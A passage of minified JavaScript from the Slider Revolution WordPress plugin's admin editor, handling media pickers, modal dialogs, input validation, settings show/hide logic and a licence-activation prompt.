0!==wp.media&&c(e,t,i)},RVS.S.layerIcons=jQuery.extend(!0,RVS.S.layerIcons,{zone:"storage",shape:"crop_landscape",image:"filter_hdr",audio:"audiotrack",button:"radio_button_checked",column:"view_column",group:"format_shapes",row:"reorder",object:"filter_drama",svg:"filter_drama",video:"live_tv"}),RVS.F.getLayerIcon=function(e,t){return void 0!==t&&void 0!==RVS.S.layerIcons[t]?RVS.S.layerIcons[t]:void 0!==e&&void 0!==RVS.S.layerIcons[e]?RVS.S.layerIcons[e]:"title"};var o,s,l,n,d,c=function(e,t,i){null==i&&(i=!1);var a=wp.media({title:e,multiple:i,library:{},button:{text:"Insert"}});a.on("select",function(){var e=a.state().get("selection").first().toJSON(),r=a.state().get("selection"),o=[];1==i?(r.map(function(e){var t=e.toJSON(),i={};i.url=t.url,i.id=t.id,i.width=t.width,i.height=t.height,o.push(i)}),t(o)):t(e.url,e.id,e.width,e.height)}),a.open()},p=function(e,t,i){null==i&&(i=!1);var a=wp.media({title:e,multiple:i,library:{type:"image"},button:{text:"Insert"}});a.on("select",function(){var e=a.state().get("selection").first().toJSON(),r=a.state().get("selection"),o=[];1==i?(r.map(function(e){var t=e.toJSON(),i={url:t.url,id:t.id,width:t.width,height:t.height};o.push(i)}),t(o)):t(e.url,e.id,e.width,e.height)}),a.open()},u=function(e,t){var i="type=image&post_id=0&TB_iframe=true";i=encodeURI(i),tb_show(e,"media-upload.php?"+i),window.send_to_editor=function(e){tb_remove();var i=jQuery(e).attr("src");i&&null!=i&&""!=i||(i=jQuery("img",e).attr("src")),t(i,"")}};RVS.F.setCookie=function(e,t,i){var a=new Date;a.setTime(a.getTime()+24*i*60*60*1e3);var r="expires="+a.toUTCString();document.cookie=e+"="+t+";"+r+";path=/"},RVS.F.getCookie=function(e){for(var t=e+"=",i=document.cookie.split(";"),a=0;a<i.length;a++){for(var r=i[a];" "==r.charAt(0);)r=r.substring(1);if(0==r.indexOf(t))return decodeURIComponent(r.substring(t.length,r.length))}return""},RVS.F.toObject=function(e){for(var t={},i=0;i<e.length;++i)t[i]=e[i];return t},RVS.F.RSDialog={create:function(e){e.modalid=e.modalid.replace("#","");var t=jQuery('.rb-modal-wrapper[data-modal="'+e.modalid+'"]');t.addClass("_TPRB_"),t.length?(l=t.find(".rb-modal-inner"),n=t.find(".rb_modal"),d||(d=jQuery("#rb_modal_underlay")),e.hasOwnProperty("bgopacity")||(e.bgopacity=.05),s&&s[0].dataset.modal!==e.modalid&&(o=s),s=t,t.show(),d.css("z-index",parseInt(t.css("z-index"),10)-1).show(),"rbm_decisionModal"===e.modalid&&RVS.F.RSDialog.doCancelModal(e),RVS.F.RSDialog.center(),tpGS.gsap.to(d,.3,{opacity:e.bgopacity,ease:tpGS.Power3.EaseInOut}),tpGS.gsap.fromTo(t,.3,{autoAlpha:0,scale:.9},{autoAlpha:1,scale:1,ease:tpGS.Power3.EaseInOut})):console.log("modal error: "+e.modalid)},setDragScroll:function(e){e>0?(n.draggable({handle:".rbm_header",axis:!1,cancel:".rbm_close"}),l.RSScroll("destroy")):(n.draggable({handle:".rbm_header",axis:"x",cancel:".rbm_close"}),l.RSScroll({wheelPropagation:!0,suppressScrollX:!1,minScrollbarLength:30}))},center:function(){if(s){var e=Math.max(.5*window.innerHeight-.5*n.height(),0),t="auto";s[0].dataset.centerineditor&&(t=Math.round(.5*RVS.C.rb.width()-.5*n.width())),RVS.F.RSDialog.setDragScroll(e),n.css({marginTop:Math.ceil(e),marginLeft:t,left:0,top:0}),l.RSScroll("update")}},close:function(e){s&&(tpGS.gsap.killTweensOf(s),s.hide().css("opacity",0)),!o&&d&&(tpGS.gsap.killTweensOf(d),d.hide().css("opacity",0)),d.css("z-index",999995),s=o,o=void 0},doCancelModal:function(e){var t,i;document.getElementById("decmod_icon").innerHTML=e.icon,document.getElementById("decmod_title").innerHTML=e.title,document.getElementById("decmod_maintxt").innerHTML=e.maintext,document.getElementById("decmod_subtxt").innerHTML=e.subtext,void 0!==e.do?(t=document.getElementById("decmod_do_icon"),i=document.getElementById("decmod_do_txt"),void 0!==t&&(t.innerHTML=e.do.icon),void 0!==i&&(i.innerHTML=e.do.text),jQuery("#decmod_do_btn").show().off("click").on("click",function(){void 0!==e.do.event&&RVS.DOC.trigger(e.do.event,e.do.eventparam),void 0!==e.do.callback&&e.do.callback(),!0!==e.do.keepDialog&&(RVS.F.RSDialog.close(),RVS.F.RSDialog.close())})):jQuery("#decmod_do_btn").hide(),void 0!==e.cancel?(t=document.getElementById("decmod_dont_icon"),i=document.getElementById("decmod_dont_txt"),void 0!==t&&(t.innerHTML=e.cancel.icon),void 0!==i&&(i.innerHTML=e.cancel.text),jQuery("#decmod_dont_btn").show().off("click").on("click",function(){void 0!==e.cancel.callback&&e.cancel.callback(),RVS.F.RSDialog.close()})):jQuery("#decmod_dont_btn").hide(),e.swapbuttons?jQuery("#decmod_do_btn").css({float:"right",marginLeft:"10px",marginRight:"0px"}):jQuery("#decmod_do_btn").css({float:"none",marginLeft:"0px",marginRight:"10px"})}},RVS.DOC.on("mousedown",".rb_modal",function(){RVS.S.clickStartOnModal=!0}).on("mouseup",".rb_modal",function(){setTimeout(function(){RVS.S.clickStartOnModal=!1},50)}),RVS.DOC.on("click",".rb-modal-content",function(){s&&!0!==RVS.S.clickStartOnModal&&s.find(".rbm_close").trigger("click"),RVS.S.clickStartOnModal=!1}).on("click",".rb_modal",function(e){e.stopPropagation()}).on("keydown",function(e,t){"27"==e.keyCode&&s&&s.find(".rbm_close").trigger("click")}),jQuery(window).on("resize",RVS.F.RSDialog.center),RVS.F.triggerShowHideDep=function(e,t){void 0===e.dataset.show||void 0===e.dataset.hide||"radio"===e.type&&!e.checked?RVS.F.showHideDep({target:e.dataset.showhide,nortarget:e.dataset.hideshow,value:void 0===t?e.value:t,depend:e.dataset.showhidedep}):RVS.F.showHideGroups({hide:e.dataset.hide,show:e.dataset.show,val:t,showprio:e.dataset.showprio})},RVS.F.triggerInput=function(e){if(void 0!==e.inp){var t=e.inp.split(",");for(var i in e.when="true"===e.when||"false"!==e.when&&e.when,e.whennot="true"===e.whennot||"false"!==e.whennot&&e.whennot,t)if(t.hasOwnProperty(i)){var a=jQuery(t[i].replace("*val*",e.dep));void 0!==e.val&&null!=a&&a.length>0&&(e.val=e.val.replace("*val*",e.dep),(void 0!==e.when&&e.dep==e.when||void 0!==e.whennot&&e.dep!=e.whennot||void 0===e.when&&void 0===e.whennot)&&("checkbox"===a[0].type?a.checked="false"!==e.val&&!1!==e.val:a.val(e.val))),a.trigger("change")}}},RVS.F.setUnsetHelp=function(e,t,i,a){if(null!=e){var r="";i=void 0===i?"showhide_hidden":i,RVS.S.setUnsetClasses[i]=RVS.S.setUnsetClasses[i]||[];for(var o=0;o<e.length;o++)r+=e[o]+",";RVS.S.setUnsetClasses[i].push({query:r,type:t}),void 0!==a&&RVS.S.setShowHide.push({query:r,type:a}),RVS.S.setUnserRafCalled||RVS.F.setUnsetRAF()}},RVS.F.setUnsetRAF=function(){RVS.S.setUnserRafCalled=!0,requestAnimationFrame(function(){var e,t,i,a;for(e in RVS.S.setUnsetClasses)if(RVS.S.setUnsetClasses.hasOwnProperty(e))for(t=0;t<RVS.S.setUnsetClasses[e].length;t++)if(void 0!==RVS.S.setUnsetClasses[e][t].query&&""!==RVS.S.setUnsetClasses[e][t].query&&" "!==RVS.S.setUnsetClasses[e][t].query&&","!==RVS.S.setUnsetClasses[e][t].query)for(a=document.querySelectorAll(RVS.S.setUnsetClasses[e][t].query.slice(0,-1)),i=0;i<a.length;i++)a[i].classList[RVS.S.setUnsetClasses[e][t].type](e);for(RVS.S.setUnsetClasses={},t=0;t<RVS.S.setShowHide.length;t++)if(""!=RVS.S.setShowHide[t].query&&void 0!==RVS.S.setShowHide[t].query&&" "!==RVS.S.setShowHide[t].query&&","!==RVS.S.setShowHide[t].query)for(a=document.querySelectorAll(RVS.S.setShowHide[t].query.slice(0,-1)),i=0;i<a.length;i++)jQuery(a[i])["hide"===RVS.S.setShowHide[t].type?"hide":"show"]();RVS.S.setShowHide=[],RVS.S.setUnserRafCalled=!1})},RVS.F.showHideDep=function(e){var t=void 0!==e.target?e.target.split(","):void 0,i=void 0!==e.nortarget?e.nortarget.split(","):void 0,a="true"===e.depend||"false"!==e.depend&&e.depend;"string"==typeof a&&a.indexOf("!!")>=0?(a=a.replace("!!",""),e.value!==a?(RVS.F.setUnsetHelp(t,"remove",void 0,"show"),RVS.F.setUnsetHelp(i,"add",void 0,"hide")):(RVS.F.setUnsetHelp(t,"add",void 0,"hide"),RVS.F.setUnsetHelp(i,"remove",void 0,"show"))):e.value===a?(RVS.F.setUnsetHelp(t,"remove",void 0,"show"),RVS.F.setUnsetHelp(i,"add",void 0,"hide")):(RVS.F.setUnsetHelp(t,"add",void 0,"hide"),RVS.F.setUnsetHelp(i,"remove",void 0,"show"))},RVS.F.showHideGroups=function(e){void 0!==e.val&&(e.show=e.show.split("*val*").join(e.val).split(" ").join(""),e.hide=e.hide.split("*val*").join(e.val).split(" ").join("")),""!==e.show&&""!==e.hide&&requestAnimationFrame(function(){"hide"===e.showprio?(jQuery(e.show).show(),jQuery(e.hide).hide()):(jQuery(e.hide).hide(),jQuery(e.show).show())})},RVS.F.updateEasyInput=function(e){e.nval="false"!==e.nval&&("true"===e.nval||e.nval),e.path=void 0===e.path?"settings.":e.path;var t=void 0,i="",a=e.el.type,r=e.el.dataset;switch(a){case"checkbox":case"text":case"textarea":case"select-one":case"select-multiple":if(e.multiselection)for(var o in RVS.selLayers)RVS.selLayers.hasOwnProperty(o)&&(i=void 0===e.nval?RVS.F.getDeepVal({root:e.root,path:e.path+RVS.selLayers[o]+"."+e.el.dataset.r}):e.nval,t=null==t||t==i?i:void 0!==r.multiplaceholder?r.multiplaceholder:"");else t=void 0===e.nval?RVS.F.getDeepVal({root:e.root,path:e.path+e.el.dataset.r}):e.nval;if(void 0===t&&void 0!==e.el.dataset.default&&(t=e.el.dataset.default),"select-one"===a)e.el.value=t,jQuery(e.el).ddTP("change");else if("select-multiple"===a){Array.isArray(t)||(t=t.split(","));for(var s=0;s<e.el.options.length;s++)e.el.options[s].selected=t.indexOf(e.el.options[s].value)>=0;jQuery(e.el).ddTP("change")}else"checkbox"===a?e.el.checked=void 0===t?void 0:"false"!==t&&!1!==t:(e.el.value=t,e.el.history=e.el.value);void 0===r.unselect&&void 0===r.select||RVS.F.setUnsetSelected({unselect:r.unselect,select:r.select,val:e.el.value,rval:r.rval,prval:r.prval,prvalif:r.prvalif}),"layer_action_type"===e.el.id&&(e.el.value=RVS_LANG["layeraction_"+e.el.value]),void 0!==e.el.value&&"undefined"!==e.el.value||(e.el.value=""),"text"===a&&e.el.className.indexOf("my-color-field")>=0&&jQuery(e.el).rsColorPicker("refresh");break;case"radio":if(e.multiselection)for(var o in RVS.selLayers)RVS.selLayers.hasOwnProperty(o)&&(i=void 0===e.nval?e.el.value===RVS.F.getDeepVal({root:e.root,path:e.path+RVS.selLayers[o]+"."+e.el.dataset.r}):e.nval,t=null==t||t==i?i:"");else t=void 0===e.nval?e.el.value===RVS.F.getDeepVal({root:e.root,path:e.path+e.el.dataset.r}):e.nval;e.el.checked=t,void 0===r.unselect&&void 0===r.select||e.el.checked.checked&&RVS.F.setUnsetSelected({unselect:r.unselect,select:r.select,val:e.el.checked,rval:r.rval,prval:r.prval,prvalif:r.prvalif})}},RVS.F.updateEasyInputs=function(e){e.path=void 0===e.path?"settings.":e.path,jQuery(e.container).find(".easyinit").each(function(t){RVS.F.updateEasyInput({el:this,path:e.path,multiselection:e.multiselection,root:e.root}),("init"===e.trigger||e.visualUpdate)&&("init"===e.trigger&&this.dispatchEvent(new Event("init",{bubbles:!0})),"checkbox"===this.type&&RVS.F.turnOnOffVisUpdate({input:this}))})},RVS.F.getDeepValue=function(e,t){if("string"==typeof t&&(t=t.split(".")),t.length>1){var i=t.shift();return e.hasOwnProperty(i)?RVS.F.getDeepValue(e[i],t):void 0}return e.hasOwnProperty(t[0])?e[t[0]]:void 0},RVS.F.writeDeepPath=function(e,t,i){if("string"==typeof t){var a=t.split("."),r=a.length,o=r-1,s=e;if(r)for(var l=0;l<r;l++)l<o?s=s[a[l]]:s[a[l]]=i}},RVS.F.getConcVals=function(e,t){return e.replace("#size#",t).replace("#slide#",RVS.S.slideId).replace("#curslidetrans#",RVS.S.slideTrans).replace("#actionindex#",RVS.S.actionIdx).replace("#targetlayer#",RVS.S.actionTrgtLayerId).replace("#frame#","timeline.frames."+RVS.S.keyFrame).replace("#framekey#",RVS.S.keyFrame)},RVS.F.getDeepVal=function(e){if(!(void 0===e||e.path.indexOf("#targetlayer#")>=0&&(void 0===RVS.S.actionTrgtLayerId||"none"===RVS.S.actionTrgtLayerId)))return RVS.F.getDeepValue(void 0===e.root?RVS.SLIDER:e.root,RVS.F.getConcVals(e.path,void 0===e.screen?RVS.screen:e.screen))},RVS.F.minMaxCheck=function(e){return e.v="wrong"!==e.v&&void 0!==e.max?Math.min(e.v,e.max):e.v,e.v="wrong"!==e.v&&void 0!==e.min?Math.max(e.v,e.min):e.v,e.v},RVS.F.checkNumInput=function(e){var t=RVS.F.isNumeric(e.val),i=t?e.val:e.val.replace(/[^\d||-]+/g,""),a=t?"":e.val.replace(/\d+/,""),r=void 0!==e.history?e.history.replace(/\d+/,""):"px",o=void 0!==e.allowed?e.allowed.toLowerCase().split(","):["px"],s="";if(i=""===i?"wrong":i,a=a.toLowerCase(),jQuery.inArray("random",o)>=0&&"{"===a[0]&&"}"===a[a.length-1]||jQuery.inArray("cycle",o)>=0&&"["===a[0]&&"]"===a[a.length-1]||jQuery.inArray("dir",o)>=0&&"("===(""+e.val)[0]&&")"===(""+e.val)[(""+e.val).length-1])return e.val=e.val.replace(/[^[\d||%||(||)||\-||{||}||.||,||\[||\]]+/g,""),e.val;if(jQuery.inArray("#/#",o)>=0&&"#"===a[0]&&"#"===a[a.length-1]&&"/"===e.val[2])return e.val;for(var l in o)o.hasOwnProperty(l)&&(a!=o[l]&&a!="-"+o[l]||(s=o[l]));return"wrong"===i&&""===s&&e.val.length>0?"badvalue":(i="wrong"===i?0:i,"%"===s||"px"===s||"ms"===s||"deg"===s||"chars"===s||"words"===s||"char"===s||"-%"===s||"-px"===s||"-ms"===s||"-deg"===s||"x"===s||"x"===s?RVS.F.minMaxCheck({v:i,min:e.min,max:e.max})+s:""!==s?s.toLowerCase():e.val.length<=1||e.val==i?jQuery.inArray("none",o)>=0&&0===i?"none":(r=jQuery.inArray(r,o)>=0&&("px"===r||"%"===r||"ms"===r||"deg"===r||"char"===r||"chars"===r||"words"===r||"x"===s||"x"===s)?r:jQuery.inArray("px",o)>=0?"px":jQuery.inArray("ms",o)>=0?"ms":jQuery.inArray("%",o)>=0?"%":jQuery.inArray("deg",o)>=0?"deg":jQuery.inArray("chars",o)>=0?"chars":jQuery.inArray("words",o)>=0?"words":jQuery.inArray("x",o)>=0?"x":"",RVS.F.minMaxCheck({v:i,min:e.min,max:e.max})+r):"badvalue")},RVS.DOC.on("change init update focus",".tos2, .basicinput, .scblockinput, .slideinput, .sliderinput, .globalinput, .layerinput, .navinput, .navstyleinput, .indeplayerinput, .actioninput, .targetlayeractioninput",function(e){var t=e.currentTarget,i=t.dataset,a="checkbox"===t.type?this.checked:this.value;if(i.numeric){if("badvalue"===(a=RVS.F.checkNumInput({val:a,allowed:i.allowed,history:i.history,min:i.min,max:i.max})))return void t.classList.add("badvalue");t.classList.remove("badvalue"),t.value=a,i.history=t.value}if("true"===i.sanitize&&(a=RVS.F.sanitize_input(a)),void 0!==t.type&&t.type.indexOf("select")>=0&&(void 0===i.select2rsId&&(" "+t.className).indexOf(" tos2")>=0&&(t.className.indexOf("wpml_lang_selector")>=0&&jQuery(t).ddTP({placeholder:"Select From List",pre:'<span><img src="#data#" class="wpml-img-flag" />',preData:"src"}),jQuery(t).ddTP({placeholder:(" "+t.className).indexOf(" searchbox")>=0?"Enter or Select":"Select From List"})),"select-multiple"===t.type))for(var r in a=[],t.selectedOptions)t.selectedOptions.hasOwnProperty(r)&&a.push(t.selectedOptions[r].value);switch(void 0===i.showhide&&void 0===i.show&&void 0===i.hide||"radio"===t.type&&!t.checked||RVS.F.triggerShowHideDep(t,a),void 0===i.unselect&&void 0===i.select||"radio"===t.type&&!t.checked||RVS.F.setUnsetSelected({unselect:i.unselect,select:i.select,val:a,rval:i.rval,prval:i.prval,prvalif:i.prvalif}),void 0===i.setclasson&&void 0===i.class||("radio"!==t.type||t.checked)&&RVS.F.setUnsetClass({container:"body"===i.setclasson?document.body:document.getElementById(i.setclasson),class:i.class,inversclass:i.inversclass,val:a,rval:i.rval}),void 0===i.disable&&void 0===i.enable||("radio"!==t.type||t.checked)&&RVS.F.setEnableDisable({disable:i.disable,enable:i.enable,switch:"switch"===i.disableenable,val:a}),void 0===i.available&&void 0===i.unavailable||("radio"!==t.type||t.checked)&&RVS.F.setUnAvailable({unavailable:i.unavailable,available:i.available,val:a}),void 0!==i.change&&(void 0!==i.changewhen&&(a===i.changewhen||!0===a&&"true"===i.changewhen||!1===a&&"false"===i.changewhen)&&RVS.F.setInputTo({field:i.change,val:i.changeto,path:i.path}),void 0!==i.changewhennot&&a!==i.changewhennot&&(!1!==a&&"false"!==a||i.changewhennot+""!="false")&&(!0!==a&&"true"!==a||i.changewhennot+""!="true")&&RVS.F.setInputTo({field:i.change,val:i.changeto,path:i.path})),void 0!==i.updatetext&&(document.getElementById(i.updatetext.replace("#","")).innerText=a),e.type){case"change":if(void 0!==i.r){if(void 0!==i.valcheck&&RVS.F.hasOwnProperty(i.valcheck)&&"function"==typeof RVS.F[i.valcheck]){a=RVS.F[i.valcheck](a);i.numeric&&(a=RVS.F.checkNumInput({val:a,allowed:i.allowed,history:i.history,min:i.min,max:i.max})),this.value=a,i.history=a}(" "+this.className).indexOf(" scblockinput")>=0&&RVS.F.writeDeepPath(RVS.SC.BLOCK,i.r,a),(" "+this.className).indexOf(" slideinput")>=0&&RVS.F.updateSliderObj({path:RVS.S.slideId+".slide."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" navstyleinput")>=0&&(RVS.F.updateSliderObj({path:i.r+"-def",val:!0}),jQuery("#"+e.currentTarget.id+"-def").prop("checked","checked"),RVS.F.turnOnOff(RVS.F.closestClass(document.getElementById(e.currentTarget.id+"-def"),"tponoffwrap"),!1),RVS.F.updateSliderObj({path:i.r,val:a,evt:i.evt,evtparam:i.evtparam})),(" "+this.className).indexOf(" globalinput")>=0&&RVS.F.updateSliderObj({path:i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" sliderinput")>=0&&RVS.F.updateSliderObj({path:"settings."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" layerinput")>=0&&"true"!==i.updateviaevt&&1!=i.updateviaevt&&RVS.F.updateLayerObj({path:i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" actioninput")>=0&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+"."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" targetlayeractioninput")>=0&&(void 0!==RVS.S.actionTrgtLayerId&&(""+RVS.S.actionTrgtLayerId).indexOf("static-")>=0?RVS.F.updateSliderObj({path:RVS.SLIDER.staticSlideId+".layers."+(""+RVS.S.actionTrgtLayerId).replace("static-","")+"."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}):RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.S.actionTrgtLayerId+"."+i.r,val:a,evt:i.evt,evtparam:i.evtparam})),(" "+this.className).indexOf(" indeplayerinput")>=0&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+i.r,val:a,evt:i.evt,evtparam:i.evtparam}),(" "+this.className).indexOf(" presetToCustom")>=0&&(jQuery("#sr_"+i.evtparam+"_style_preset").val("").ddTP("change"),RVS.SLIDER.settings.nav[i.evtparam].preset=""),void 0!==this.dataset.triggerinp&&RVS.F.triggerInput({inp:this.dataset.triggerinp,dep:a,val:this.dataset.triggerinpval,when:this.dataset.triggerwhen,whennot:this.dataset.triggerwhennot})}(" "+this.className).indexOf(" callEvent")>=0&&jQuery(document.body).trigger(i.evt,{event:e,val:a,eventparam:i.evtparam});break;case"focusin":void 0!==i.focusevt&&RVS.DOC.trigger(i.focusevt,{event:e,val:a,eventparam:i.focusevtparam}),void 0!==i.responsive&&(RVS.S.respInfoBar.visible=!0,RVS.F.showFieldResponsiveValues(this)),"true"==i.cursortoclick?window.setTimeout(function(){!function(e){if("number"==typeof e.selectionStart)e.selectionStart=e.selectionEnd=e.value.length;else if(void 0!==e.createTextRange){e.focus();var t=e.createTextRange();t.collapse(!1),t.select()}}(this)},1):jQuery(this).trigger("select")}}),RVS.F.showInfo=function(e){if(!("register"==e.type&&jQuery("#rbm_activate_slider").length>0)){var t="register"==e.type?e.content:'<i class="material-icons info">info</i>';"info"==e.type&&(t='<i class="material-icons info">info</i>'),"goodtoknow"==e.type&&(t='<i class="material-icons goodtoknow">mode_comment</i>'),"warning"==e.type&&(t='<i class="material-icons cancel">close</i>'),"success"==e.type&&(t='<i class="material-icons ok">done</i>'),e.showdelay=null!=e.showdelay?e.showdelay:0,e.hidedelay=null!=e.hidedelay?e.hidedelay:0,0===jQuery("#rb_maininfo_wrap").length&&jQuery(document.body).append('<div id="rb_maininfo_wrap"></div>'),0==jQuery("#eg-toolbox-wrapper").length&&jQuery("#rb_maininfo_wrap").append('<div id="eg-toolbox-wrapper"></div>').appendTo(jQuery(document.body)),"register"===e.type?jQuery("#eg-toolbox-wrapper").append(t):jQuery("#eg-toolbox-wrapper").append('<div class="eg-toolbox newadded">'+t+e.content+"</div>");var i=jQuery("#eg-toolbox-wrapper").find(".eg-toolbox.newadded");i.removeClass("newadded"),tpGS.gsap.fromTo(i,.5,{y:-50,autoAlpha:0,transformOrigin:"50% 50%",transformPerspective:900,rotationX:-90},{autoAlpha:1,y:0,rotationX:0,ease:"back.out",delay:e.showdelay}),"event"!=e.hideon?("register"==e.type?i.find(".rbmas_close").on("click",function(){tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,onComplete:function(){i.remove()}})}):i.on("click",function(){tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,onComplete:function(){i.remove()}})}),0!=e.hidedelay&&"click"!=e.hideon&&tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,delay:e.hidedelay+e.showdelay,onComplete:function(){i.remove()}})):jQuery("#eg-toolbox-wrapper").on(e.event,function(){tpGS.gsap.to(i,.3,{x:200,ease:"power3.inOut",autoAlpha:0,onComplete:function(){i.remove()}})})}},RVS.F.showRegisterSliderInfo=function(){void 0===window.rbmContent&&(window.rbmContent='<div id="rbm_activate_slider" class="eg-toolbox newadded _TPRB_">',window.rbmContent+='<div class="rbmas_close"><i class="material-icons">close</i></div>',window.rbmContent+='<div class="rbmas_def_page">',window.rbmContent+='\t<div class="rbmas_title">'+RVS_LANG.active_sr_to_access+"</div>",window.rbmContent+='\t<div class="rbmas_benef"><i class="material-icons">check</i>'+RVS_LANG.active_sr_tmp_obl+"</div>",window.rbmContent+='\t<div class="rbmas_benef"><i class="material-icons">check</i>'+RVS_LANG.addons+"</div>",window.rbmContent+='\t<div class="rbmas_benef"><i class="material-icons">check</i>'+RVS_LANG.active_sr_inst_upd+"</div>",window.rbmContent+='\t<div class="rbmas_benef"><i class="material-icons">check</i>'+RVS_LANG.active_sr_one_on_one+"</div>",window.rbmContent+='\t<div class="dcenter">',window.rbmContent+='\t\t<div class="div30"></div><div id="rbmas_active_plugin_now" style="width:220px" class="basic_action_button longbutton basic_action_lilabutton"><i class="material-icons">vpn_key</i>'+(RVS.ENV.selling?RVS_LANG.ihavelicensekey:RVS_LANG.ihavepurchasecode)+"</div>",window.rbmContent+='\t\t<div class="div0"></div><a href="'+(RVS.ENV.selling?"https://account.sliderrevolution.com/portal/pricing/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=buykey":"https://www.themepunch.com/links/slider_revolution_wordpress_regular_license")+'" target="_blank" rel="noopener" style="width:220px" class="basic_action_button longbutton basic_action_coloredbutton"><i class="material-icons">shopping_cart</i>'+(RVS.ENV.selling?RVS_LANG.getlicensekey:RVS_LANG.getpurchasecode)+"</a>",window.rbmContent+="\t</div>",window.rbmContent+="</div>",window.rbmContent+='<div class="rbmas_activate_page">',window.rbmContent+='\t<div class="rbmas_title">'+(RVS.ENV.selling?RVS_LANG.active_sr_plg_activ_key:RVS_LANG.active_sr_plg_activ)+"</div>",window.rbmContent+='\t<input class="codeinput" id="rbmas_purchasekey" placeholder="'+(RVS.ENV.selling?RVS_LANG.enterlicensekey:RVS_LANG.enterpurchasecode)+'">',window.rbmContent+='\t<purplebutton id="rbmas_activateplugin" class="fullwidth mcg_next_page"><i class="material-icons">vpn_key</i>'+(RVS.ENV.selling?RVS_LANG.registerKey:RVS_LANG.registerCode)+"</purplebutton>",window.rbmContent+='\t<div class="dcenter">',window.rbmContent+='\t\t<div class="div65"></div><div class="rbmas_solidtitle">'+(RVS.ENV.selling?RVS_LANG.onelicensekey:RVS_LANG.onepurchasekey)+"</div>",window.rbmContent+='\t\t<div class="div30"></div><div class="rbmas_solidtext">'+(RVS.ENV.selling?RVS_LANG.onelicensekey_info:RVS_LANG.onepurchasekey_info)+"</div>",window.rbmContent+='\t\t<div class="div30"></div><a '+(RVS.ENV.selling?'style="width:185px !important; margin-right:10px;"':"")+' href="'+(RVS.ENV.selling?"https://account.sliderrevolution.com/portal/pricing/":"https://www.themepunch.com/links/slider_revolution_wordpress_regular_license")+'" target="_blank" rel="noopener" class="basic_action_button longbutton basic_action_coloredbutton"><i class="material-icons">shopping_cart</i>'+(RVS.ENV.selling?RVS_LANG.getlicensekey:RVS_LANG.getpurchasecode)+"</a>",RVS.ENV.selling&&(window.rbmContent+='<a href="https://account.sliderrevolution.com/portal/" target="_blank" rel="noopener" style="width:185px !important" class="basic_action_button longbutton basic_action_coloredbutton basic_action_coloredpurplebutton"><i class="material-icons">person</i>'+RVS_LANG.membersarea+"</a>"),window.rbmContent+="\t</div>",window.rbmContent+="</div>",window.rbmContent+='<div id="rbm_activate_slider_deco"></div>',window.rbmContent+="<div>",RVS.DOC.on("click","#rbmas_active_plugin_now",function(){return jQuery("#rbm_activate_slider").addClass("rbmas_show_activate"),!1})),RVS.F.showInfo({content:window.rbmContent,type:"register",showdelay:0,hidedelay:0,hideon:"",event:""})},RVS.F.showWaitAMinute=function(e){var t=jQuery("#waitaminute");if(RVS.S.wamCounter=void 0===RVS.S.wamCounter?0:RVS.S.wamCounter,null!=e.delay&&(RVS.S.wamCounter++,tpGS.gsap.to(t,.3,{autoAlpha:1,ease:"power3.inOut"}),tpGS.gsap.set(t,{display:"block"}),setTimeout(function(){RVS.S.wamCounter--,0===RVS.S.wamCounter&&tpGS.gsap.to(t,.3,{autoAlpha:0,ease:"power3.inOut",onComplete:function(){tpGS.gsap.set(t,{display:"block"})}})},e.delay)),null!=e.fadeIn&&(t&&t.length>0&&(tpGS.gsap.to(t,e.fadeIn/1e3,{autoAlpha:1,ease:"power3.inOut"}),tpGS.gsap.set(t,{display:"block"})),RVS.S.wamCounter++),null!=e.fadeOut&&(RVS.S.wamCounter--,RVS.S.wamCounter=RVS.S.wamCounter<0?0:RVS.S.wamCounter,RVS.S.wamCounter<=0&&t&&t.length>0&&tpGS.gsap.to(t,e.fadeOut/1e3,{autoAlpha:0,ease:"power3.inOut",onComplete:function(){tpGS.gsap.set(t,{display:"block"})}})),null!=e.text)switch(e.text){case"progress1":break;default:t.html('<div class="waitaminute-message">'+e.text+"</div>")}else t.html('<div class="waitaminute-message">'+RVS_LANG.please_wait_a_moment+"</div>");return!0},RVS.F.turnOnOff=function(e,t){var i=e.getElementsByTagName("INPUT")[0];!0===i.checked?t?(i.checked=!1,i.dispatchEvent(new Event("change",{bubbles:!0})),e.classList.add("off")):e.classList.remove("off"):t?(i.checked=!0,i.dispatchEvent(new Event("change",{bubbles:!0})),e.classList.remove("off")):e.classList.add("off")},RVS.F.turnOnOffVisUpdate=function(e){e.btn=void 0===e.btn?RVS.F.closestClass(e.input,"tponoff_inner"):e.btn,null!==e.btn&&void 0!==e.btn&&(e.wrap=RVS.F.closestClass(e.btn,"tponoffwrap"),e.input=void 0===e.input?e.btn.getElementsByTagName("INPUT")[0]:e.input,!0===e.input.checked?(e.wrap.classList.add("on"),e.wrap.classList.remove("off")):(e.wrap.classList.add("off"),e.wrap.classList.remove("on")))},RVS.F.initOnOff=function(e){"document"===(e=void 0===e?"document":void 0===e[0]?e:e[0])&&void 0===RVS.S.initOnOffList.document&&(RVS.S.initOnOffList.document=!0),"document"!==e&&void 0===RVS.S.initOnOffList[e.id]&&(RVS.S.initOnOffList[e.id]=e),!0!==RVS.S.initOnOffListRaff&&(RVS.S.initOnOffListRaff=!0,requestAnimationFrame(function(){if(void 0!==RVS.S.initOnOffList.document)RVS.F.initOnOffRAF(document);else for(var e in RVS.S.initOnOffList)RVS.S.initOnOffList.hasOwnProperty(e)&&RVS.F.initOnOffRAF(RVS.S.initOnOffList[e]);RVS.S.initOnOffList={},delete RVS.S.initOnOffListRaff}))},RVS.F.initOnOffRAF=function(t){var i=t.querySelectorAll("input[type='checkbox']");for(var a in i)if(i.hasOwnProperty(a)&&-1==i[a].className.indexOf("simplechkbx")&&-1==i[a].className.indexOf("tponoff")){i[a].className+=" tponoff";var 